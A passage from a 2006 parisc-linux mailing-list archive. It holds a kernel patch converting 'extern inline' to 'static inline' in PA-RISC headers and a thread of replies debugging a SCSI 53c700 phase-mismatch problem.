X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 11:48:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 01 Dec 2006 12:48:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 816037D9AC;
	Fri,  1 Dec 2006 04:48:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13318-05; Fri, 1 Dec 2006 04:48:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 742A17D9B7;
	Fri,  1 Dec 2006 04:48:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 774407D9AB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 04:48:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13157-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 04:48:30 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0F9047D7E8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 04:48:30 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C76FB494011; Fri,  1 Dec 2006 04:48:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by mail.parisc-linux.org (Postfix) with SMTP id F1AD1494013
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 04:48:07 -0700 (MST)
Original-Received: (qmail 27330 invoked from network); 1 Dec 2006 11:48:05 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 1 Dec 2006 11:48:05 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id A23A53799BE; Fri,  1 Dec 2006 12:48:11 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qCFCdAVHIyd1EvqQe2dr8ptaa2FkZtVn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25394

"extern inline" generates a warning with -Wmissing-prototypes and I'm 
currently working on getting the kernel cleaned up for adding this to 
the CFLAGS since it will help us to avoid a nasty class of runtime 
errors.

If there are places that really need a forced inline, __always_inline 
would be the correct solution.

Signed-off-by: Adrian Bunk <bunk@stusta.de>
Acked-by: Kyle McMartin <kyle@parisc-linux.org>

---

This patch was already sent on:
- 21 Nov 2006
- 19 Aug 2006

 arch/parisc/lib/memcpy.c       |    4 +--
 include/asm-parisc/io.h        |    2 -
 include/asm-parisc/pci.h       |    2 -
 include/asm-parisc/pgtable.h   |   40 ++++++++++++++++-----------------
 include/asm-parisc/prefetch.h  |    4 +--
 include/asm-parisc/semaphore.h |   10 ++++----
 include/asm-parisc/tlbflush.h  |    3 --
 7 files changed, 32 insertions(+), 33 deletions(-)

--- linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c.old	2005-10-30 01:58:43.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c	2005-10-30 01:59:11.000000000 +0200
@@ -158,12 +158,12 @@
 #define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
 
 #ifdef  CONFIG_PREFETCH
-extern inline void prefetch_src(const void *addr)
+static inline void prefetch_src(const void *addr)
 {
 	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
 }
 
-extern inline void prefetch_dst(const void *addr)
+static inline void prefetch_dst(const void *addr)
 {
 	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
 }
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h.old	2005-10-30 01:59:57.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h	2005-10-30 02:00:01.000000000 +0200
@@ -193,7 +193,7 @@
 extern void pcibios_register_hba(struct pci_hba_data *);
 extern void pcibios_set_master(struct pci_dev *);
 #else
-extern inline void pcibios_register_hba(struct pci_hba_data *x)
+static inline void pcibios_register_hba(struct pci_hba_data *x)
 {
 }
 #endif
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h.old	2005-10-30 02:00:14.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h	2005-10-30 02:00:18.000000000 +0200
@@ -316,31 +316,31 @@
  * setup: the pgd is never bad, and a pmd always exists (as it's folded
  * into the pgd entry)
  */
-extern inline int pgd_none(pgd_t pgd)		{ return 0; }
-extern inline int pgd_bad(pgd_t pgd)		{ return 0; }
-extern inline int pgd_present(pgd_t pgd)	{ return 1; }
-extern inline void pgd_clear(pgd_t * pgdp)	{ }
+static inline int pgd_none(pgd_t pgd)		{ return 0; }
+static inline int pgd_bad(pgd_t pgd)		{ return 0; }
+static inline int pgd_present(pgd_t pgd)	{ return 1; }
+static inline void pgd_clear(pgd_t * pgdp)	{ }
 #endif
 
 /*
  * The following only work if pte_present() is true.
  * Undefined behaviour if not..
  */
-extern inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
-extern inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
-extern inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
-extern inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
-extern inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
-extern inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
-
-extern inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
-extern inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
-extern inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
-extern inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
+static inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
+static inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
+static inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
+static inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
+static inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
+static inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
+
+static inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
+static inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
+static inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
+static inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
+static inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
+static inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
 /*
  * Conversion functions: convert a page and protection to a page entry,
@@ -368,7 +368,7 @@
 #define mk_pte_phys(physpage, pgprot) \
 ({ pte_t __pte; pte_val(__pte) = physpage + pgprot_val(pgprot); __pte; })
 
-extern inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
+static inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
 { pte_val(pte) = (pte_val(pte) & _PAGE_CHG_MASK) | pgprot_val(newprot); return pte; }
 
 /* Permanent address of a page.  On parisc we don't have highmem. */
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h.old	2005-10-30 02:00:45.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h	2005-10-30 02:00:51.000000000 +0200
@@ -58,7 +58,7 @@
 #define DECLARE_MUTEX(name) __DECLARE_SEMAPHORE_GENERIC(name,1)
 #define DECLARE_MUTEX_LOCKED(name) __DECLARE_SEMAPHORE_GENERIC(name,0)
 
-extern inline void sema_init (struct semaphore *sem, int val)
+static inline void sema_init (struct semaphore *sem, int val)
 {
 	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
@@ -86,7 +86,7 @@
  * interrupts while we're messing with the semaphore.  Sorry.
  */
 
-extern __inline__ void down(struct semaphore * sem)
+static inline void down(struct semaphore * sem)
 {
 	might_sleep();
 	spin_lock_irq(&sem->sentry);
@@ -98,7 +98,7 @@
 	spin_unlock_irq(&sem->sentry);
 }
 
-extern __inline__ int down_interruptible(struct semaphore * sem)
+static inline int down_interruptible(struct semaphore * sem)
 {
 	int ret = 0;
 	might_sleep();
@@ -116,7 +116,7 @@
  * down_trylock returns 0 on success, 1 if we failed to get the lock.
  * May not sleep, but must preserve irq state
  */
-extern __inline__ int down_trylock(struct semaphore * sem)
+static inline int down_trylock(struct semaphore * sem)
 {
 	int flags, count;
 
@@ -132,7 +132,7 @@
  * Note! This is subtle. We jump to wake people up only if
  * the semaphore was negative (== somebody was waiting on it).
  */
-extern __inline__ void up(struct semaphore * sem)
+static inline void up(struct semaphore * sem)
 {
 	int flags;
 	spin_lock_irqsave(&sem->sentry, flags);
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h.old	2005-10-30 02:01:00.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h	2005-10-30 02:01:06.000000000 +0200
@@ -42,7 +42,7 @@
 #endif
 }
 
-extern __inline__ void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
+static inline void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
 {
 }
  

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/
--- linux-2.6.18-rc4-mm1/include/asm-parisc/io.h.old	2006-08-13 23:08:01.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/io.h	2006-08-13 23:08:15.000000000 +0200
@@ -128,7 +128,7 @@
 /* Most machines react poorly to I/O-space being cacheable... Instead let's
  * define ioremap() in terms of ioremap_nocache().
  */
-extern inline void __iomem * ioremap(unsigned long offset, unsigned long size)
+static inline void __iomem * ioremap(unsigned long offset, unsigned long size)
 {
 	return __ioremap(offset, size, _PAGE_NO_CACHE);
 }
--- linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h.old	2006-08-13 23:08:25.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h	2006-08-13 23:08:34.000000000 +0200
@@ -19,7 +19,7 @@
 #ifdef CONFIG_PREFETCH
 
 #define ARCH_HAS_PREFETCH
-extern inline void prefetch(const void *addr)
+static inline void prefetch(const void *addr)
 {
 	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
 }
@@ -27,7 +27,7 @@
 /* LDD is a PA2.0 addition. */
 #ifdef CONFIG_PA20
 #define ARCH_HAS_PREFETCHW
-extern inline void prefetchw(const void *addr)
+static inline void prefetchw(const void *addr)
 {
 	__asm__("ldd 0(%0), %%r0" : : "r" (addr));
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Fri, 01 Dec 2006 15:58:00 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <45705108.3080500__5993.85952014035$1416624626$gmane$org@scarlet.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>	<20061112191436.GY16952@parisc-linux.org>	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>	<20061127153713.GQ14076@parisc-linux.org>	<20061130101805.2a82273b.gmsoft@tuxicoman.be>	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>
	<20061130194830.90043d05.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624626 28242 80.91.229.3 (22 Nov 2014 02:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:26 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 15:59:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 01 Dec 2006 16:59:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DE847D9CD;
	Fri,  1 Dec 2006 08:59:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18600-04; Fri, 1 Dec 2006 08:59:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCF917D9CE;
	Fri,  1 Dec 2006 08:58:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 148BB7D9C8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 08:58:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18004-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 08:58:51 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AEC5A7D8E7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 08:58:51 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A366249400E; Fri,  1 Dec 2006 08:58:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id 1D5E4494007
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Dec 2006 08:58:26 -0700 (MST)
Original-Received: from (ip-213-49-76-161.dsl.scarlet.be [213.49.76.161])
	by weequay.is.scarlet.be  with ESMTP id kB1Fw0w01121;
	Fri, 1 Dec 2006 16:58:01 +0100
User-Agent: Icedove 1.5.0.8 (X11/20061128)
In-Reply-To: <20061130194830.90043d05.gmsoft@tuxicoman.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cWNDcUUmX1VpCOuYY2Fy6GB3SDc4NMyS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25395



Guy Martin wrote:
> Hi James,
> 
> This is working fine ! Thanks a lot !
> 
> I was able to mount a cd without any pb.
> 
> Cheers,
>   Guy
> 
> On Thu, 30 Nov 2006 13:13:46 -0500
> James Bottomley <James.Bottomley@SteelEye.com> wrote:
> 
>> On Thu, 2006-11-30 at 12:17 -0500, James Bottomley wrote:
>>> And here we get a phase mismatch in the command phase because the drive
>>> transitions to data phase after six bytes and the driver still thinks it
>>> has another four to send.
>>>
>>> I'd have the maintainer shot ... he clearly forgot to set up the command
>>> length for auto request sense.
>> Try this and see if it fixes the problem
>>
>> James
> 
Sorry no yet a fix for my pb :_(
scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
scsi1: Bus Reset detected, executing command 15db93c0, slot 2ff48520, dsp 001c81e8[01e8]
  failing command because of reset, slot 2ff48520, cmnd 15db93c0
  failing command because of reset, slot 2ff4864c, cmnd 2feb03c0
  failing command because of reset, slot 2ff48778, cmnd 2feb0840
  failing command because of reset, slot 2ff488a4, cmnd 2feb0720

May be DEBUG will help too (but my c110 is naturally slow, so not sure, anyway I am trying)

Joel
anyway some progress has to be noticed: I can kill the process (Ctrl-C) and the system stay usable
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Fri, 1 Dec 2006 09:10:34 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20061201161033.GO14076__28790.0876756341$1416624627$gmane$org@parisc-linux.org>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>
	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>
	<20061130194830.90043d05.gmsoft@tuxicoman.be>
	<45705108.3080500@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624627 28244 80.91.229.3 (22 Nov 2014 02:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:27 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 16:10:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 01 Dec 2006 17:10:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AAE97D9DE;
	Fri,  1 Dec 2006 09:10:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18939-05; Fri, 1 Dec 2006 09:10:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB0727D9C8;
	Fri,  1 Dec 2006 09:10:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 171327D961
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:10:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18882-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 09:10:34 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AEA947D95B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:10:34 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 752AB494010; Fri,  1 Dec 2006 09:10:34 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 625E5494007; Fri,  1 Dec 2006 09:10:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45705108.3080500@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XBA6AmcIa2A7W7vDOHQyXFIyOWhhakdK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25396

On Fri, Dec 01, 2006 at 03:58:00PM +0000, Joel Soete wrote:
> Sorry no yet a fix for my pb :_(

It'd be useful to know if your problem was introduced at the same time.
Can you try the same git revisions that Guy tried and let us know if
that's the same commit that broke your machine?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] parisc: "extern inline" -> "static
	inline" (fwd)
Date: Fri, 1 Dec 2006 09:43:54 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20061201164354.GA10549__1334.83942267976$1416624627$gmane$org@colo.lackof.org>
References: <20061201114811.GQ11084@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624627 28247 80.91.229.3 (22 Nov 2014 02:50:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:27 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 matthew@wil.cx,
 linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 16:44:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 01 Dec 2006 17:44:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 883057D9DD;
	Fri,  1 Dec 2006 09:44:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19182-09; Fri, 1 Dec 2006 09:44:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C7F27D9DE;
	Fri,  1 Dec 2006 09:44:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5CB27D9DB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 09:44:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19182-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 09:44:22 -0700 (MST)
